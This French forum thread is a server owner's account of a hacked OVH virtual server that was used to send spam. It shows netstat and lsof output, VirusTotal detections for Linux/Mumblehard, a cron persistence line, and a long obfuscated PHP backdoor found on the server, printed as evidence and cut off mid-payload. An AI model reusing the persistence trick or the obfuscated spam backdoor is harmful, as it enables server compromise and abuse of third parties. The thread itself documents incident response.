Aller au contenu

Mon serveur virtuel Maxthon4.me s'est fait pirater


Ldfa

Messages recommandés

Hier, j'ai reçu un courriel d'OVH m'indiquant que mon serveur émettait du SPAM en grand nombre et qu'ils avaient bloqué le port 25 en attendant que je le désinfecte.
 

Bonjour,

Notre protection Anti-Spam a détecté un envoi important de spam à partir d'une de vos IP:
87.98.134.104

Afin d'assurer la sécurité de notre réseau le trafic sortant de votre serveur vers les
ports 25 a été suspendu.

Afin que vous puissiez effectuer les vérifications voici un échantillon des emails bloqués:

Destination IP: 66.196.118.36 - Message-ID:  - Spam score: 250
Destination IP: 173.194.72.27 - Message-ID:  - Spam score: 250
Destination IP: 98.138.112.33 - Message-ID:  - Spam score: 250
Destination IP: 98.136.217.203 - Message-ID:  - Spam score: 550
Destination IP: 63.250.192.45 - Message-ID:  - Spam score: 550

Je me suis connecté sur mon serveur et j'ai commencé à fouiller dans les fichiers de logs. Je n'ai rien trouvé dans un 1er temps. Les logs du serveur de mail étaient irréprochables. En fait, je ne cherchais pas au bon endroit. :angelic:
 
En utilisant Netsat, je me suis rendu compte que le port 39311 était utilisé par une adresse IP en Ukraine :

# netstat -tn
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 87.98.134.104:39331    194.54.81.162:48894		TIME_WAIT
tcp        0      0 87.98.134.104:57314    198.57.149.247:80		ESTABLISHED
tcp        0      0 87.98.134.104:39331    194.54.81.162:44511		TIME_WAIT
tcp        0      0 87.98.134.104:39331    194.54.81.162:42970		ESTABLISHED
tcp        0      0 127.0.0.1:39695	   127.0.0.1:4949		TIME_WAIT
tcp        1      0 87.98.134.104:39331    194.54.81.162:60498		CLOSE_WAIT
tcp        0      0 87.98.134.104:36907    223.4.7.134:80		CLOSE_WAIT
tcp        0      0 87.98.134.104:12322    148.251.124.174:43743	ESTABLISHED

J'avais déjà vu auparavant que les Trojan/Malware sous Linux étaient copiés dans /tmp ou /var/tmp en utilisant des failles de sécurités présentes dans php.
 
Bingo, il y a bien un fichier suspect dans /var/tmp avec les droits de php :

# ll
total 16
drwxrwxrwt  2 root     root     4096 Apr 29 19:58 ./
drwxr-xr-x 12 root     root     4096 Apr 29 16:08 ../
-rwxr-xr-x  1 www-data www-data 6669 Apr 29 10:56 ieMVcloi*

Un petit scan avec VirusTotal m'en dit un peu plus sur le suspect :

MD5 86f0b0b74fe8b95b163a1b31d76f7917
SHA1 95aed86918568b122712bdbbebdd77661e0e6068
SHA256 747d985d4bd302e974474dc9ab44cb1f60cb06206f3639c5d603db94395b877b
ssdeep192:Ca9xfxFkoZnqQUNyfj0B9+TtFt0NI+V2bGbjXQ:Caf46RUyYB4TtFtt/oXQ
File size 6.5 KB ( 6669 bytes )
File type ELF
Magic literalELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, corrupted section header size
TrID	 ELF Executable and Linkable format (generic) (100.0%)

AVG		Linux/Generic_c.KE
Avast		ELF:DropPerl-M [Trj]
Comodo		UnclassifiedMalware
Cyren		Unix/PerlDrop.A
DrWeb		Linux.BackDoor.Shell.12
ESET-NOD32	Linux/Mumblehard.J.Gen
F-Prot		Unix/PerlDrop.A
Ikarus		Trojan.Linux.Pebble
Sophos		ELF/Drop-HH
Zillya		Trojan.Mumblehard.Linux.1

On trouve sa trace dans les fichiers suivants :
 

# grep -ril "ieMVcloi" /var
/var/log/syslog
/var/spool/cron/crontabs/www-data

Et voici le contenu du 1er fichier :

# cat /var/log/syslog
Apr 29 10:56:51 maxthon4 crontab[2109]: (www-data) REPLACE (www-data)
Apr 29 10:57:01 maxthon4 /usr/sbin/cron[2162]: (www-data) RELOAD (crontabs/www-data)
Apr 29 11:00:01 maxthon4 /USR/SBIN/CRON[2176]: (www-data) CMD (/var/tmp/ieMVcloi >/dev/null 2>&1)

Le Trojan/Malware se relance toutes les 15 mns grâce à la commande Cron :

#cat /var/spool/cron/crontabs/www-data
*/15 * * * * /var/tmp/ieMVcloi >/dev/null 2>&1

En listant la liste des process, on découvre un process très suspect, car le process init original est toujours en tête de liste, et il y est justement, ce qui signifie que l'on a 2 process init :

# ps -xa
22853 ?        Ss     0:00 init

On va voir les fichiers et les ports utilisés par ce process suspect :

# lsof -p 22853
COMMAND   PID     USER   FD   TYPE             DEVICE SIZE/OFF      NODE NAME
init    22853 www-data  cwd    DIR               0,32     4096  63685126 /
init    22853 www-data  rtd    DIR               0,32     4096  63685126 /
init    22853 www-data  txt    REG               0,32  1487332  65996346 /usr/bin/perl
init    22853 www-data  mem    REG              253,0           65996346 /usr/bin/perl (path dev=0,32)
init    22853 www-data  mem    REG              253,0           65938918 /usr/lib/perl/5.14.2/auto/File/Glob/Glob.so (path dev=0,32)
init    22853 www-data  mem    REG              253,0           65938753 /usr/lib/perl/5.14.2/auto/POSIX/POSIX.so (path dev=0,32)
init    22853 www-data  mem    REG              253,0           65938664 /usr/lib/perl/5.14.2/auto/Fcntl/Fcntl.so (path dev=0,32)
init    22853 www-data  mem    REG              253,0           65938879 /usr/lib/perl/5.14.2/auto/Socket/Socket.so (path dev=0,32)
init    22853 www-data  mem    REG              253,0           65644632 /lib/i386-linux-gnu/libcrypt-2.13.so (path dev=0,32)
init    22853 www-data  mem    REG              253,0           65644630 /lib/i386-linux-gnu/libc-2.13.so (path dev=0,32)
init    22853 www-data  mem    REG              253,0           65643313 /lib/i386-linux-gnu/libpthread-2.13.so (path dev=0,32)
init    22853 www-data  mem    REG              253,0           65644634 /lib/i386-linux-gnu/libm-2.13.so (path dev=0,32)
init    22853 www-data  mem    REG              253,0           65644633 /lib/i386-linux-gnu/libdl-2.13.so (path dev=0,32)
init    22853 www-data  mem    REG              253,0           65938948 /usr/lib/perl/5.14.2/auto/IO/IO.so (path dev=0,32)
init    22853 www-data  mem    REG              253,0           65644625 /lib/i386-linux-gnu/ld-2.13.so (path dev=0,32)
init    22853 www-data    0r   CHR                1,3      0t0  65062321 /dev/null
init    22853 www-data    1w   CHR                1,3      0t0  65062321 /dev/null
init    22853 www-data    2w   CHR                1,3      0t0  65062321 /dev/null
init    22853 www-data    3u  unix 0xffff8803f5c770c0      0t0 414176946 /var/run/php5-fpm.sock
init    22853 www-data    4u  IPv4          414733999      0t0       TCP *:39331 (LISTEN)
init    22853 www-data    5u  IPv4          414279825      0t0       TCP maxthon4.me:39331->162.81.54.194.static.server.ua:60498 (CLOSE_WAIT)
init    22853 www-data    6u  IPv4          414279826      0t0       TCP maxthon4.me:36907->223.4.7.134:http (CLOSE_WAIT)

On retrouve le port suspect du début et un autre également. Au niveau des fichiers utilisés, on voit qu'il utilise Perl et des librairies Perl, Il doit être écrit en Perl.

 

J'ai trouvé une explication complète sur ce Trojan/Malware ici sur le site de Eset, l'article date même d'aujourd'hui et ça confirme un petit peu tout ce que j'ai pu découvrir. :unsure:

 

La faille utilisée doit être très récente ou alors je suis passé à côté de la mise à jour de php ? :unsure:

 

Je vais faire le tour de mes nombreux autres serveurs virtuels pour voir s'ils ne sont pas infectés également... :s:

Lien vers le commentaire
Partager sur d’autres sites

Il tourne sur le même serveur dédié, mais il n'est pas possible de passer d'un serveur virtuel à un autre, ni de remonter sur le serveur dédié. ;)

 

Après avoir visité tous les autres serveurs virtuels, aucun autre n'a été piraté. :)

 

PS : J'en ai profité pour faire les mises à jour des programmes utilisés.;)

Lien vers le commentaire
Partager sur d’autres sites

Oui Ricouz, c'est une sacrée vieille idée reçu concernant Linux !

 

Je m'en suis rendu compte depuis que je fais tourner un autre serveur virtuel avec Kippo, un serveur "Pot de miel" qui attire les pirates et sur lequel je récupère des Virus/Trojans/Malware pour Linux tous les jours. :angelic:

Lien vers le commentaire
Partager sur d’autres sites

Le Malware Linux/Mumblehard est revenu, cela signifie que le serveur est toujours faillible. :shifty:

 

En examinant de plus près les logs de Nginx, le serveur web utilisé, j'ai trouvé que c'était ajaxplorer qui était utilisé pour copier des fichiers et j'ai trouvé pas mal de script .php et .js qui permette d'envoyer du Spam dans le dossier /ajaxplorer/plugins/editor.zoho/agent/files/ :trance:

 

On va désinfecter tout ça en profondeur... :s:

Lien vers le commentaire
Partager sur d’autres sites

J'ai trouvé ce fichier dans 2 répertoires différents sur le serveur Web injecté par cette adresse IP : 31.184.195.247 :

<?php
$v3F2NJX = Array('1'=>'Y', '0'=>'Q', '3'=>'L', '2'=>'n', '5'=>'O', '4'=>'b', '7'=>'G', '6'=>'j', '9'=>'e', '8'=>'y', 'A'=>'A', 'C'=>'t', 'B'=>'H', 'E'=>'4', 'D'=>'3', 'G'=>'M', 'F'=>'z', 'I'=>'v', 'H'=>'C', 'K'=>'m', 'J'=>'a', 'M'=>'u', 'L'=>'6', 'O'=>'W', 'N'=>'5', 'Q'=>'X', 'P'=>'F', 'S'=>'q', 'R'=>'x', 'U'=>'9', 'T'=>'V', 'W'=>'l', 'V'=>'J', 'Y'=>'1', 'X'=>'o', 'Z'=>'P', 'a'=>'B', 'c'=>'S', 'b'=>'h', 'e'=>'I', 'd'=>'R', 'g'=>'2', 'f'=>'7', 'i'=>'U', 'h'=>'8', 'k'=>'K', 'j'=>'0', 'm'=>'s', 'l'=>'T', 'o'=>'g', 'n'=>'D', 'q'=>'f', 'p'=>'p', 's'=>'i', 'r'=>'r', 'u'=>'w', 't'=>'c', 'w'=>'k', 'v'=>'Z', 'y'=>'d', 'x'=>'E', 'z'=>'N');
function v1JKEFJ($v6AK1S8, $vXXELYO){$vIX4N9A = ''; for($i=0; $i < strlen($v6AK1S8); $i++){$vIX4N9A .= isset($vXXELYO[$v6AK1S8[$i]]) ? $vXXELYO[$v6AK1S8[$i]] : $v6AK1S8[$i];}
return base64_decode($vIX4N9A);}
$vFZ7EBY = '07WMJTUFvQ0XVgdptDam1QWqvQV84DVFV8uuklmk07WMJTUFvQ0XVgRIvYU'.
'Wt2VIt2G23nAp5upAvQV84DVqtKTu4DVjJON2knAp5upAtgTjQDdp4OTq47'.
'WCJQ0XGHwfHwapvgNItKTqyQzWtWUb1KU8yHoRklmk07WMJTUFvQ0XVgYb9PUW97T6yQdp4gNqy7WCvctmGHwf'.
'HoppvsAXyKT8tgWI4WU64gYu1QVWkPaeiPUOdTVlciU53HA2zcEu36A23HA2ZHtpeHwo9uX'.
'oeHd8vQGoZcaat2Vb9cop5uXoeHd8vQz4e2VWtDTmyHVyO8V6J7T6J8'.
'VyenjoGnmkeHaW1gbIe7VbtgigzPUW4KzIv7iXtgT8JOPmJQpWkHd8'.
'vQGpklmkq0Xkv2TM1Ddp4gEo1DTFy7UCQDzjtKWuQDdbvDGXVBdW9B0pH2mkeHAoeHdjvQbjenjotDd8JQaq'.
'y7P2t8owy7TEyHuoVFRbZstp5uXkeHAoeHdjvQbjenjotDd8QDVWt7Rb1giXe6Rbe7b8vO1UQHes3HAsO8As3HAwy7TEyHwfHsAo'.
'eHAwy7TEyHAUeBzjtWU8vQam1OzWkHeh3gx+esuoesemeHdjvQbjklmkeHAoeHdjvQ'.
'bjenjotDd8QDVWt7Rb1giXeWusZsemeHeoQcAs3HAwy7TEyHwfHoXoeHAotKTjyQVMeHdjvQbj5upUHop647PFt8al'.
'lTd0eBmkeHauyOVmJOGoVPzzTPaqixUcTHAUeneY5uXoeBaY1KRp18Aw0Y'.
'VGdsAUeHVttWRMe6mkeHauyOVmJOGoV7dIQgdW12T2enjoGnmkeHauyOVmJOGoVxdW12T24DTjtBTjeHAo'.
'eHAUeHyW1gbIVFmkeHauyOVmJOGoV7dIQDvWt2AoZcaK1ORFvlmkeHauyO'.
'VmJOGoVPdp4OTIyQ0oeHAoeHAoeHAUenxY5uXoeBaY1KRp18AwT7WCvORp4OWjeHA'.
'oeHAoenjoGFAfHsAotBTs47W6eHdOvQVFJOUMeHAoeHAoeHAoZcA2zcE8'.
'36125uXoeBa84DdW1DdWvHAwtgYjtPU64gNM5uXoeBa84DdW1DdWvHAw'.
'vQV84DefHsAotBVIy7T6y7TweHdXvORIQDVu4BwfHsAotBVIy7T6y7Twe7vY4KzjJOUMe7TwvOVYv8owtDd8kcafHsAoeHaFyg'.
'Wj1gookHdjJ7WF3lNxvOVYvgUYyBaYyHwo9uXoeHAoeHa61QzWeHyWt2VItWUm4gt25oXoeHAoe'.
'HAoe7T8tKU8QgRIv8owtDd8klmkeHAoeHAoeHastKTbJFmkeHAoeHAo1gPFvcA2JBdC4HtLHsAoeHAoeHAov'.
'OzX48aXy7YmvONjJQdpvQGXtBVWvYU8vQam1OzWkHtIOYR8Q7Nyk8h23HA2V8uoVBzjtswmexT'.
'5TPUdTiUidTGmeHyTTx1C5Htp3seh12e+Q7Es5uXoeHAoeHAoe7V8vOPr5uXoeHAoeHa61QzWeHyW1gbIVFXke'.
'HAoeHAov7TK1QTmynXkeHAoeHAoeHaW1gbIeHdFyBefHsAoeHaUHsAoq0XoeBaY1KRp1'.
'8aKyON6y7WI4saqQgzI42zjt2T6yHopeBmkeHAoeHdjJ7WF3lNF4QduQgzI4KEoZcAu5uXoeHAoVBdXJQGCZKT8tKU8enj'.
'o42Tm4nmkeHAoeHdjJ7WF3lNXvORIQDVu4BwoZcaMyORm5uXkeHAoeHdjJ7WF3lNw4YUwvOVYv8AU'.
'enAfHsAoq0XoeBaY1KRp18aKyON6y7WI4san4gNMvOzjkHdX4Dzj3HAwt7U8yHAUenAmeHdjJOYW4DTjenjoGFAmeHdItBdp4gN'.
'Fenjo1QV81QwXkcwo9uXoeHAoVBdXJQGCZKT8tKU8enjo42Tm4nmkeHA'.
'oe7WKkHdjJ7WF3lN64gNMvOzjvO0Xkcwo9uXoeHAoeHAwy7bpt8j+vQV84DeoZcabt2Vb9co2vQV84De2e'.
'nj+eHya4BVW1OdNe7zI4KNW1DdWvHaj48abeBzWt2vWtstp5uXoeHAoeHa8vQdYtKEovKPmtgifHsAo'.
'eHaUHoXVJO1XvOYuyBwXVBaIt20pkcafHsAoeHAoeHdu4DVjenjoVBdXJQGCZWzzTPaqixUcTnmkeHAoeBjkHsAo'.
'eHAwvQV84KhoZcAu5uXoeHAoV7T8t2zjtsAUeHt25uXoeHAoVBzI1gCWyPU64gNjvQbjenjotDd8'.
'vOPCQgzI42dW9Bdq1DVW1QdWkHdItBdp4gNFklmkeHAoeHdjJ7WF3'.
'lNF4QduQgzI4KEoZcaAtDd8vOPCQDzI1gCWyPU647WW420XV7bItD0Me6Xs3sdu4DV'.
'j3HAwvQV84KhmeHdWt2VFyBemeHdjJOYW4DTj3HalTPVP0iYq0jRVdiNiQjzZlwNP0Y0'.
'meHdF4gzrvQdq1gUMy7TEyHwfHoXoeHAoJO1XvOYuyBwXVBdXJQGCZ'.
'2zCyBaq1gUM4swpeBmkeHAoeHAoVBdXJQGCZKT8tKU8enjo1QV81QwXVg'.
'T8tKU8V8AUZsA2dKPp47TweBdIe7zI4KNW1D0oy7hotgT8yKT8V8ukeHAoeHAoeHAoeHAoeHAoeHAoeHAoeHAoeHAoVgT8tKN'.
'IV8AUZsAwvQV84KhmHsAoeHAoeHAoeHAoeHAoeHAoeHAoeHAoeHAoeHyWt2VFyBe2enj+eHdWt2VFyBe'.
'p5uXoeHAoeHapvsowy7bpt8j+v7Uqv7TsyOtoZ6joGcwo9uXoeHAoeHAoeHdjJ7WF3lNWv7TsyOt'.
'XVYzzTPAo3lEodTVclYeLeHto3sAwy7bpt8j+vQV84DV4VgT8tKU8VYjo3sAs5sAwvQV8tDd8eHowvQV84Khp'.
'eswfHsAoeHAoeBjkeHAoeHAotKTjyQVMe7vb4BzW5uXoeHAoq0XkeHAoe7'.
'WKkBzY12zjtsb0cPaqlYGmenAmenGpeHxUeHyQciE2kcafHsAoeHAoeHdC'.
'1QooZcap4KWqvgTjkHyC1QbqvQbW1DTjJOUMQDdp4Oi2klmkeHAoeHAoJO1okHdC1QooeljoGHAKVsA'.
'wy7WCvOUYyHA+eHdC1QopeBmo38hod7UMVD0o1KUjJ7T8e7WKeBTM47WCJQdWvAXoeHAoeHAoexaFvQdqy7WCv'.
'TUmJOYpyHowy7WCvOUYyHwfHsAoeHAoeBjkeHAoeHAotDd8vOPCQDzWyPUjJOYW4DTjkHdjJ7WF3lNF4QduQgzI4KEm'.
'eHdjJOYW4DTj3HAuklmkeHAoeBjkHsAoeHAw1ONM4DTM1gioZcAwy7bpt8j+vgTjQgRp4KTFkHwfHoXoeHAoJO1XVBdXJ'.
'QGCZKdIQgdW12T2enEUenepeBmkeHAoeHAoVBdXJQGCZKTwvOVYv8o2ijYiiHACZsa7iwUzePzPiWvPi6X2eHE'.
'oV7PM4KUY4KzWklmkeHAoeBjkHsAoeHa8vQdYtKEoyBVYvlmkeHaUHoXoeBaY1KRp18aKyON6y7WI4s'.
'aly7P8yPdGi8opeBmkeHAoeHdjJ7WF3lNWt2VItsAUe7NY47ufeHGoy7ho1QvIJO'.
'0o1gUMv2TFJOUMHoXoeHAoJO1XecdjJ7WF3lN64gNMvOzjvO0Xkcwo9uXoeHAoeH'.
'Awy7bpt8j+vQV84DeoZcabt2Vb9co2vQV84De2enj+eHyn1ORmvO0oiDdbt2dilPGXkcaDJQdX4'.
'DTje7VWJON2e7zI4KNW1DdWvHtp5uXoeHAoeHa8vQdYtKEovKPmtgifHsAoeHaUHoXoeHAoVBdXJQGCZKzmJOTMyPU'.
'FvONwkHylTxPcTPdGi8to3sAwy7bpt8j+0YVGdswfHoXoeHAoVBVu4BwoZcAwy7bpt8j+vgTjQgR'.
'p4KTFkHwfHsAoeHAw1gUwvcAUeBzY12zjtsowt2am9cuoGHuoG8wfHoXoeHAoJO1XVB'.
'dXJQGCZKdIQgdW12T2enEUenepeBmkeHAoeHAoVBdXJQGCZKTwvOV'.
'Yv8o2ijYiiHACZsa7iwUzePzPiWvPi6X2eHEoVBVu4Bwp5uXoeHAoq0XkeHAo'.
'e7WKkHd64gdWeHxUene8GHwo9uXoeHAoeHAwy7bpt8j+vQV84DeoZ0XoeHAoeHAoeHabt2Vb9co2vQV84De2eHAoeHAUZsA'.
'2iYdaiWdilPGo4KUje7P61gTuy7Twe7v84gjotgT8yKT8V8ukeHAoeHAoeHAoeHAoeHAoVDzCyBaq1gUwvctoZlEoV'.
'7zIv7imHsAoeHAoeHAoeHAoeHAoeHyF4QduQgYFv8toenj+eBzY12zjtsowt2am9cuozHwp5uXoeHAo'.
'eHapvsowy7bpt8j+v7Uqv7TsyOtoZ6joGcwo9uXoeHAoeHAoeHdjJ7W'.
'F3lNWv7TsyOtXVYzzTPAo3lEodTVclYeLeHto3sAwy7bpt8j+vQV84DV4VgT8tKU8VY'.
'jo3sA25sA2eHEoVBVu4Bwp5uXoeHAoeHaUHsAoeHAoeBVWyBT84saK1OR'.
'FvlmkeHAoeBjkHsAoeHapvsobtDd8vOPCQDzI1gCWyPUW4KPs47Tq1DVNtBdIkHdjJ7WF3lNF4QduQgzI4KEmeBd8yOimePz'.
'iiwTalTUniWW0TxUqliTicxUxQYdGiYUnlxWPlW0pkcafHsAoeHAoeBVWyBT84saK1ORFvlmkeHAoeBjk'.
'HsAoeHa8vQdYtKEoyBVYvlmkeHaUHoXoeBaY1KRp18aKyON6y7WI4saayQdXvON'.
'jJOzby7iXVBTFvQVM1OYW3HAwt7PFtDyItK0meHdbyQdXyBWuvlj2lxUBciE23HAw'.
'tKTb47jUV8tmeHdD4DVrtDdby7WI46j2V8wo9uXoeHAoJO1ok7TCtBdNkHdbyQdXyBWuvcwpeBmkeHAoeHAoV7PYy7bj'.
'9QaWenjoVjRZdjW5VFmkeHAoeBjkHsAoeHaFygWj1gookHdbyQdX'.
'yBWuvcwo9uXoeHAoeHa61QzWeHy0lxPVlstLHsAoeHAoeHAoVBdXJQ'.
'GCZKzmJOTMyPUFvONwkHyaTTdeePaG0iW5V8AMeHdjJ7WF3lNniwR7klmkHsAoeHAoeHAoVBVu4BwoZcAwy7bpt'.
'8j+vgTjQgRp4KTFkHwfHsAoeHAoeHAoV7zIv7ioZcaFyOVFyBeXVBVu4BwmenAmenGp5uXkeHAoeHAo'.
'eHapvsow1gUwvcAbZcAFGF0peBmkeHAoeHAoeHAoeHdjJ7WF3lNWt2VItsAUHsAoeHAoeH'.
'AoeHAoe7P8tKPNkHyWt2VItstoZlEoVjPTTxoo4KUje7P61gTuy'.
'7Twe7v84gjotgT8yKT8V8ukeHAoeHAoeHAoeHAoeHAoeHAoVDzCyBaq1gUwvctoZlEoV7zIv7imHsAoeHAoeHAoeHAoeH'.
'AoeHAoeHyF4QduQgYFv8toZlEotDTstDd8kHd8t7RN3HAjkcwfHsA'.
'oeHAoeHAoeHapvsowy7bpt8j+v7Uqv7TsyOtoZ6joGcwo9uXoeHAoeHAoeHAoeHAwy7bpt8j+vOdW12T2kHyllTd0eHj+'.
'exTciwUc5sA2eHEoVBdXJQGCZKT8tKU8O8yWt2VItsyyeHEoVFXoV8AMeHd8t7RNklmkeHAoeHAoeHAoeBjkeHAoeHA'.
'oeHAoeBVWyBT84saK1ORFvlmkeHAoeHAoeHaUHsAoeHAoeHAoeHA'.
'wy7bpt8j+1gRpvONjQDzW4K0X1KPFvl1jQgTM1gUwvcosQnAs3sdYtgT84KPCvcEsQnAs3sdu1QzFygU8vHwo3sAwy7bp'.
't8j+0YVGdswfHoXoeHAoeHAoeHd8t7RNenjoVBdXJQGCZKyWyPUmJONWt8o'.
'p5uXoeHAoeHAoeHd64gdWenjotDTstDd8kHd8t7RN3HAu3HAFklmkHsAoeHAoeHAoJO1XV7zIv7i'.
'oeljoG6GYkcafHsAoeHAoeHAoeHAwy7bpt8j+vQV84DeoZ0XoeHAoeHA'.
'oeHAoeHabt2Vb9co2vQV84De2enj+eHyayQdXvONjJOzby7WI4saM4D0o1Oz6vQajvO0ov2VI4caFvQVg'.
'vQe23AXoeHAoeHAoeHAoeHAoeHAoeHA2tgYjtPU64gdWV8AUZsAw1g'.
'UwvcukeHAoeHAoeHAoeHAoeHAoeHAoVDzCyBaq4Qz2V8AUZsaFyO'.
'VFyBeXVBVu4Bwmen0pklmkeHAoeHAoeHAoe7WKkHdjJ7WF3lNw4YUwvOVYv8A+ZcARkcafHsAoeHAoeHAoeHAoeHdjJ7WF3lN'.
'Wv7TsyOtXVYzzTPAo3lEodTVclYeLeHto3sAwy7bpt8j+vQV84DV4VgT'.
'8tKU8VYjo3sA25sA2eHEoVBVu4Bwp5uXoeHAoeHAoeHAoq0XoeHAoeHAoeHAotKTjyQVMe'.
'7vb4BzW5uXoeHAoeHAoeBjkeHAoeHAoeHastKTbJFmkeHAoeHAo1gPFvcA2lx'.
'UBciE25oXoeHAoeHAoeHdjJ7WF3lN647WW42dqtgTMvHo20TTicHaGljyVlst'.
'o3sAwy7bpt8j+0YVGdswfHoXoeHAoeHAoeHd8t7RNenjoVBdXJQGCZKyWyPUmJONWt8op5uXoeHAoeHAoeHd6'.
'4gdWenjotDTstDd8kHd8t7RN3HAu3HAFklmkHsAoeHAoeHAoJO1XV7zIv7ioelj'.
'oGFGjkcafHsAoeHAoeHAoeHAwy7bpt8j+vQV84DeoZ0XoeHAoeHAoeHAoeHabt2Vb9co2vQV84De2'.
'enj+eHyaTTdee7NIyHab1gzWtBdWvHaKtKUCeBzWt2vWtstmHsAoeHAoeHAoeHAoeHAoeHAoeHyF4QduQgzIv7i2enj+e'.
'Hd64gdW3AXoeHAoeHAoeHAoeHAoeHAoeHA2tgYjtPUCtgt2enj+eBzY12zjts'.
'owt2am9cuozHwp5uXoeHAoeHAoeHAoJO1XVBdXJQGCZKdIQgdW12T2enEUenxpeBmkeHAoeHAoeH'.
'AoeHAoVBdXJQGCZKTwvOVYv8o2ijYiiHACZsaPiWVZi6XoV8AMeHdjJ7WF3lNWt2VItWm2vQV84De2QcAMeHtLe'.
'Hto3sAwt2am9cwfHsAoeHAoeHAoeHaUHsAoeHAoeHAoeHa8vQdYtKEo'.
'vKPmtgifHsAoeHAoeHAoq0XkeHAoeHAoeHAwy7bpt8j+1gRpvONjQDzW4K0X1KPFvl1jQgTM1gUwvcowyQzWtKNb4'.
'OipeHEoVBdXJQGCZwzclx1p5uXkeHAoeHAoeHAwt2am9cAUeHdjJ7WF3lN2vQdq'.
'47WMvQGXklmkeHAoeHAoeHAw1gUwvcAUeBzY12zjtsowt2am9cuoGHuoG8w'.
'fHoXoeHAoeHAoe7WKkHd64gdWeHxUenGFzHwo9uXoeHAoeHAoeHAoVBdXJQGCZK'.
'T8tKU8enjkeHAoeHAoeHAoeHAo1QV81QwXVgT8tKU8V8AUZsA2TQzWtKNb4Oio4KUje7P61gTuy7Twe7'.
'v84gjotgT8yKT8V8ukeHAoeHAoeHAoeHAoeHAoeHAoVDzCyBaq1gUwvctoZlEo'.
'V7zIv7imHsAoeHAoeHAoeHAoeHAoeHAoeHyF4QduQgYFv8toZlEotDTstDd8kHd8t7RN3'.
'HAjkcwfHsAoeHAoeHAoeHapvsowy7bpt8j+v7Uqv7TsyOtoZ6joGcwo9uXoeHAoe'.
'HAoeHAoeHAwy7bpt8j+vOdW12T2kHyllTd0eHj+exTciwUc5sA2eHEoVBdXJQGCZKT8tKU8O8yW'.
't2VItsyyeHEoVFXoV8AMeHd8t7RNklmkeHAoeHAoeHAoeBjkeHAoeHAoe'.
'HAoeBVWyBT84saK1ORFvlmkeHAoeHAoeHaUHoXoeHAoeHAoeHdjJ7WF3lN64'.
'7WW42dqtgTMvHbs1QzWz6dqvON64gdWkHdu1QzFygU8vHwo3sA'.
'wy7bpt8j+0YVGdswfHoXoeHAoeHAoeHd8t7RNenjoVBdXJQGCZKyWyPUmJONWt8op5uXoeHAoeHAoeHd64gdWenjotD'.
'TstDd8kHd8t7RN3HAu3HAFklmkHsAoeHAoeHAoJO1XV7zIv7ioeljoG6GYkcafHsAoeHAoeHAoeHAwy7bpt'.
'8j+vQV84DeoZ0XoeHAoeHAoeHAoeHabt2Vb9co2vQV84De2enj+eHy01QzFygU8vHaM4D0o1Oz6vQajvO0ov2VI4c'.
'aFvQVgvQe23AXoeHAoeHAoeHAoeHAoeHAoeHA2tgYjtPU64gdWV8AUZsAw1gUwvcukeHAoeHAoeHAoeHAoeHAoeHAoVDzCyB'.
'aq4Qz2V8AUZsaFyOVFyBeXVBVu4Bwmen0pklmkeHAoeHAoeHAoe7WKkHdjJ7WF3lNw4YUwvOVYv8A+Zc'.
'ARkcafHsAoeHAoeHAoeHAoeHdjJ7WF3lNWv7TsyOtXVYzzTPAo3lEod'.
'TVclYeLeHto3sAwy7bpt8j+vQV84DV4VgT8tKU8VYjo3sA25sA2eHEoVBVu4Bwp5uXoeHAoeHAoeHAo'.
'q0XoeHAoeHAoeHAotKTjyQVMe7vb4BzW5uXoeHAoeHAoeBjkeHAoeH'.
'AoeHastKTbJFmkeHAoeHAo1gPFvcA2lWdGlctLHsAoeHAoeHAo'.
'tKTRyOW8vTUI4KzWeHyW9Bd81QGI42dm4TUF1QzmQgzmJOTMyHNuJBA25uXoeHAoeHAoeHdjvOYuenjo4'.
'KTDeBzjvxzm1QzFkHwfHsAoeHAoeHAoV7Nj47Yq1gRpvONjenjo4KTDe7N'.
'j47YqtgPF4PU647WW42dq1gRbtDGfHsAoeHAoeHAoJO1XecAw4'.
'2dm4TU647WW420CZwWMJQdp1ORp9KiXVBdW4QApkQmI3gRWyHyFeBdWtD0o'.
'JO1ovQvWt2wov2TM1Ddp4gEoJQdFe7Pg1OWm1OVmv0XoeHAoeHAoeHAoeHAwy'.
'7bpt8j+vQV84DeoZcabt2Vb9co2vQV84De2enj+eHdjvOYu3lNWt2VItswfHsAoeHAoe'.
'HAoeHAoe7WKkHdjJ7WF3lNw4YUwvOVYv8A+ZcARkcafHsAoeHAoeHAoeHAo'.
'eHAoeHAwy7bpt8j+vOdW12T2kHyv4Dio4KTWvHaj48aW4KPs47iotgUCvcaC4gd'.
'Y47TFe7WMeBWIyQeot7bu3KWMJcaKJORW5sA2eHEoVBdXJQGCZKT8tKU8O8yWt2VIt'.
'syyklmkeHAoeHAoeHAoeHAoq0XoeHAoeHAoeHAoeHa8vQdYtKEovKPmtgifHsAoeHAoeHAoq0XoeHAoeHAoeHdCtgtRen'.
'joV7Nj47Yq1gRpvONj3lNi9QaWlQz2GcowtKTb47jmeHdD4DVrtDdby7WI4swf38UCtgtRHoXoeHAoeHAoeHdjJ7WF3l'.
'N647WW42dqtgTMvHo20TTicHa5TxRzeHto3sas1QzWz6dqvON64gdWkHdCtgtRkcAMeHdjJ7WF3lNniw'.
'R7klmkHsAoeHAoeHAoVBVu4BwoZcAwy7bpt8j+vgTjQgRp4KTFkHwfHsAoe'.
'HAoeHAoV7zIv7ioZcaFyOVFyBeXVBVu4BwmenAmenGp5uXkeHAoeHAoeHapvsow1gUwvcAbZcAFGF0peBmkeHAoeH'.
'AoeHAoeHAoVBdXJQGCZKT8tKU8enjkeHAoeHAoeHAoeHAoeHAoe7P8tKPNkHyWt2VItstoZlEo'.
'VjPTTxoo4KUje7P61gTuy7Twe7v84gjotgT8yKT8V8ukeHAoeHAoeHAoeHAoe'.
'HAoeHAoeHAoeHyF4QduQgzIv7i2enj+eHd64gdW3AXoeHAoeHAoeHAoeHAoeHAoeHAoeHAoVDzCyBaq4Qz2V8AUZsaFyOVFy'.
'BeXVBVu4Bwmen0pklmkeHAoeHAoeHAoeHAoJO1XVBdXJQGCZKdIQgdW12T2enEUenxpeB'.
'mkeHAoeHAoeHAoeHAoeHAoeHdjJ7WF3lNWv7TsyOtXVYzzTPAo3'.
'lEodTVclYeLeHto3sAwy7bpt8j+vQV84DV4VgT8tKU8VYjo3sA25s'.
'A2eHEoVBVu4Bwp5uXoeHAoeHAoeHAoeHaUHsAoeHAoeHAoeHAoe'.
